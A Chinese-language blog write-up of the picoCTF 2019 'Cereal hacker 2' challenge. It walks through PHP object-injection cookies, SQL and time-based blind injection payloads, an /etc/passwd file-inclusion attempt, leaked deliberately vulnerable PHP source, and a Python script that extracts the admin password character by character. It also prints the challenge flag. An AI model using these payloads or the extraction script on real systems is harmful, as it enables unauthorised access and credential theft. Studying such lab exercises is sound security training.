[网页漏洞] - 资料库漏洞 - 老调重弹

应该是延续 php 的漏洞问题...


18. Cereal hacker2 Points: 500

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
连线进入 https://2019shell1.picoctf.com/problem/62195/http://2019shell1.picoctf.com:62195,并试着取得 admin 使用者的密码。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688MEHvLSWanD.png

HINT:

无...

WRITEUP:

cereal hacker 1 稍有不同的是,题目只要求取得 addmin 的密码?
不确定是不是还属於 php objection injection 的范畴...输入上一题尝试失败的login; cat /etc/passwd 的话,结果略有不同
https://ithelp.ithome.com.tw/upload/images/20210127/20103688ewjbXhNYmZ.png
会是可以用利的点吗? 待解上一题,努力中...


先来试看看能不能读取使用者的密码档案。
参考 Local File Inclusion 的几个常用的档案名称,其中几个感觉上中了,但输出结果都是空白一片

  • /etc/passwd
  • /etc/passwod

接着再试 Remote File Inclusion ,结果一样失败。


改个方向,依照 Empire3 的模式,看是否能够注入 PHP 特有的标签语法 。
先找到线上 PHP 语法练习 ,模拟一下网址的输出.。
p.s. 之後的语法也都会在此网站中模拟结果是否正确.

<?php

$_GET= 'abc' ?> <?php echo '...';
echo ("Unable to locate ".$_GET.".php\n");

$target = "content";
$_GET= 'abc' ?> <?php echo $target.'...';
echo ("Unable to locate ".$_GET.".php");
?>

回到题目,将字串加在网址的最後面

file=index <?php echo "abc" ;>

https://ithelp.ithome.com.tw/upload/images/20210127/201036888e86lWNosZ.png

失败,多试几次组合後,发现会省略掉 <> 里面所有的值,那只有单一个呢 <

file=index <?php echo "abc" ;

https://ithelp.ithome.com.tw/upload/images/20210127/20103688HIhZAVS3b8.png
後面的变数都不见了!! 所以不是滤掉,试者其他 tag

file=index abc

https://ithelp.ithome.com.tw/upload/images/20210127/20103688Fzdr7PgOxL.png
居然可以在结果网页嵌入 HTML 的 tag 啊!玩的很开心,但还是跟解答沾不到边......


再转换另一个方向,看看 cookie 方面能不能得到其他提示。
使用上题的 guest 登入,结果会显示错误。因此使用上一题相同的注入手法,直接注入 以下user_info 到 cookie 中:

O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
COOKIE: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTI6IjEnIE9SICcxJz0nMSI7fQ

则会跳出 regular_user 页面
https://ithelp.ithome.com.tw/upload/images/20210127/20103688BsfaWZPWor.png
看起来 cookie 的 user_info 仍是可以使用,但是试了注入不同的 payload 都失败...
决定放弃,点出上一题没点到的 walkthough 来看看

WALKTHROUGH:

Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.

以字面上来看,需要使用相同的 object injection 手法来绕过 SQL 语法,另一个重点则是 Blind SQL Injection 。好吧,再从注入 cookie 中继续努力...
Blind SQL Injection 在 Empire 1 的题目已经用来猜过资料库的类别,因此这里先回到 上一题 Cereal hakcer 1 来测看看是否能成功(成功的话可传回 FLAG)。

先参考 SQL Injection 网站,找出可注入的 payload。

1' OR 'a'='a' --'

再利用 sleep 来判断是哪个资料库:

1' OR 1=1 | sleep(10) --'

完整注入的 Cookie:

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:25:"1' OR 1=1 | sleep(10) --'";}
user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjU6IjEnIE9SIDE9MSB8IHNsZWVwKDEwKSAtLSciO30

以上传回网页时会停个 10 秒,表示注入成功且资料库为 MySQL。
再 doblue check 一次

1' OR connection_id()=connection_id() --'

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"1' OR connection_id()=connection_id() --'";}

结果能够成功传回 FLAG,的确是 MySQL 无误。

获得以上的注入样本,再回到本题中进入测试,结果...居然没有成功!


这次连看花费的提示仍然失败,只好直接偷喵一下解答
原来又是一个特殊语法下的漏洞,可以利用 php:// 协议来偷窥到网址程序码。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688Blznuiolp4.png

回传的结果为 base 64 解码,丢回 base 64 解码网站 即可得到原始码。

以下为网页回传结果,再经 base64解码後的程序码,这里只列出重点的 cookie.php:
p.s. 从 require_onece 中可以获得更多存在的档案如 sql_connect.php, cookie.php

coookie.php

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
        }

        $prepared->bind_param('ss', $this->username, $this->password);
    
        if (!$prepared->execute()) {
            die("SQL error");
        }
        
        if (!($result = $prepared->get_result())) {
            die("SQL error");
        }

        $r = $result->fetch_all();
        if($result->num_rows !== 1){
            $is_admin_val = 0;
        }
        else{
            $is_admin_val = (int)$r[0][0];
        }
        
        $sql_conn->close();
        return $is_admin_val;
    }
}

/* legacy login */
class siteuser
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_user_val = 0;
        }
        else{
            $is_user_val = 1;
        }
        
        $sql_conn->close();
        return $is_user_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

本次的重点在 cookie .php 这只程序,试着在 regular_user.php 网页中注入旧的方法:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:12:"1' OR '1'='1";}

失败...

p.s. 这里犯了一个错误,应该要在 admin.php 测,而不是 regular_user


再仔细研究 cookie.php 可以看到此 PHP 再SQL 查询时的语法特徵,

$sql_conn->prepare

於是 google “php prepare bypass “ 找到可能的statement 绕过手法 ,结果失败。这里的写法很标准,看起来并没有误用的写法


再研究一下 regulaer_user.php ,

<?php
require_once('cookie.php');

if(isset($perm)){
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">Welcome to the regular user page!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
else{
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">You are not logged in!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
?>

才发现想利用regular 这个网页注入 SQL 是徒劳无功的,因为这只程序根本不会执行 SQL,因为与 admin.php 相比,少执行了 $perm->is_admin() 这个语法,因此只要 cookie 存在,就会跳出页面,营造出有登入的假相!
admin.php

<?php

require_once('cookie.php');

if(isset($perm) && $perm->is_admin()){
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Welcome to the admin page!</h5>
                            <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
else{
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">You are not admin!</h5>
                            <form action="index.php" method="get">
                                <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
?>

因此必须回到 admin.php 试密码。
admin.php 重点仍然放在 cookie.php,仔细研究整个 code ,发现後半段还留有旧的登入功能,名称改名为 siteuser 。

注: 细看 siteuser 这里的语法後,可以更了解为何 Cereal hacker1 的注入语法可以利用。自作聪明补上 ) 後反而不行的理由,请参考以下说明。

# wrong payload: pass') OR ('1'='1
$payload_1 = 'pass\') OR (\'1\'=\'1';
$password = $payload_1;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
# correct payload
$payload_2 = "pass' OR '1'='1" ;
$password = $payload_2;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");

https://ithelp.ithome.com.tw/upload/images/20210127/20103688I7G7wlZGyk.png
参考:and 和 or 的顺序

有了新的方向,接下来使用 objection injection 并以旧 class 的名称进行注入:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:17:"pass' OR '1'='1";}

https://ithelp.ithome.com.tw/upload/images/20210127/20103688sKFhmgXLbM.png
终於成功了! 网页提示要找出密码,这个资讯虽然还原後的 admin.php 也有,但说明了两件事,一是本题不能直接 pass 帐密,二是此方式注入成功,可用来检验後续的猜密码阶段。


为了保险起见,先以 blind SQL injection 来确认一下这次使用的资料库也是 mysql

1' OR 1=1 | sleep(10) --

结果成功让服务器停了 10 秒才传回结果。

终於来到猜密码的阶段,首先找一个能线上测试 SQL 的网址。然後开始参考语法 对 password 栏位进行猜测。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688kzpGycDd6N.png

语法测试正确後,将目标转为本题中的 password:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass'  OR SUBSTRING(username, 1, 1) = 'p";}

猜完第一个字母後为 p 後,原本想要手动猜密码,不过在使用以下 payload 评估密码长度後,

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass'  OR LENGTH(password) > 40 AND '1'='1";}

居然大於 40个字....只好认命写程序了...

以下的程序码看起来虽长,但皆从网路上参考范例撰写而成。先将每个功能写成函式後再进行猜测,应该很容易理解才是。
python 简单易用,而且可在 google colab 上线上执行,推荐新手使用!

import base64 
import http.cookiejar, urllib.request   
import requests


# 使用 base64 编码 cookie 
# ref:https://riptutorial.com/zh-TW/python/example/27070/%E7%B7%A8%E7%A2%BC%E5%92%8C%E8%A7%A3%E7%A2%BCbase64
def encode_string(payload):
  payload_bytes = payload.encode("UTF-8")
  payload_bytes_base64 = base64.b64encode(payload_bytes)
  payload_base64_message = payload_bytes_base64.decode('UTF-8')
  return payload_base64_message
# 字元如果要判断大小写,注意要加上 BINARY
# ref:https://stackoverflow.com/questions/5629111/how-can-i-make-sql-case-sensitive-string-comparison-on-mysql
#payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass\'  OR SUBSTRING(password, 1, 1) = \'p";}'
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:47:"pass\'  OR BINARY SUBSTRING(password, 1, 1) = \'p";}'
print (payload)
cookie_base64 = encode_string(payload)
print(cookie_base64)

# 送出请求,设定 cookie
# ref:https://blog.m157q.tw/posts/2018/01/06/use-cookie-with-urllib-in-python/
def get_web_response(cookie):
  url = 'http://2019shell1.picoctf.com:62195/index.php?file=admin'  
  cookies = dict(user_info=cookie)  
  r = requests.get(url, cookies=cookies)  
  return(r.text)
response = get_web_response(cookie_base64)
print(response)

# 判断回应是否正确
# ref:https://stackoverflow.com/questions/3437059/does-python-have-a-string-contains-substring-method
def is_flag_match(response):
  match = False
  if "Flag" not in response: 
    match = False
  else:
    match = True
  return match
is_match = is_flag_match(response)
print (is_match)

# 先猜密码长度
# ref: https://snakify.org/en/lessons/for_loop_range/
def guess_password_length(star,end):
  for i in range(star, end+1):
    payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass\'  OR LENGTH(password) = '+str(i)+' AND \'1\'=\'1";}'
    cookie_base64 = encode_string(payload)
    response = get_web_response(cookie_base64)
    is_match = is_flag_match(response)
    if is_match:
      print ("length: "+str(i))

# 呼叫 guess_password_length 後可得知长度为 41
#guess_password_length(20,50)
# >> length:  41

# 再对 password 每一个位置猜字元
# ref:https://realpython.com/python-enumerate/
def guess_password(star,end,guess_dict):
  print ('guess password...')
  for i in range(star, end+1):
    #print ("position ",str(i),":")
    for s in guess_dict:
      payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(46+len(str(i)))+':"pass\'  OR BINARY SUBSTRING(password, '+str(i)+', 1) = \''+s+'";}'      
      cookie_base64 = encode_string(payload)
      response = get_web_response(cookie_base64)     
      is_match = is_flag_match(response)
      if is_match:
        #print (s)
        print (s,end='')
        break

guess_dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMOPQRSTUVWXYZ0123456789-_{}"
guess_password(1,41,guess_dict)

最後得出密码即为 FLAG
p.s. 这里要注意一下大小写判断的部份,如果没有在 substring 前加上 BINARY 是会将字母都视为小写的!!
https://ithelp.ithome.com.tw/upload/images/20210127/20103688yxcGByfto1.png

ANSWER:

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}


<<:  ## Day28 LineBot models小介绍

>>:  [Day28] Advanced Watcher

DAY 15- 《公钥密码》-ECC

高中听过有人念ㄙㄨㄟˊ 圆形,我当时真是害怕极了。 --- 椭圆曲线 (Elliptic curve...

如何透过SEO搜寻优化布局全球市场

在辅导客户中多数都是外销公司的辅导顾问案件,尤於外销市场不同於内销市场在操作 业务开发 的确有难度。...

25 把卡片摆一摆

来把卡摆上去吧 我们先来做卡的外型 放在 lib/card_web/component.ex 里面 ...

【PHP Telegram Bot】Day09 - 用 PHP 主动接收和发送讯息吧!

前置作业 复制程序码 还记得前天最後建立的资料夹吗,把它用 VS code 打开,再建立一个 php...

开发环境与部署环境不同时的解决方案

我的开发环境是ubuntu20,但是部署环境是ubuntu18; 开发的语言是python,出现了一...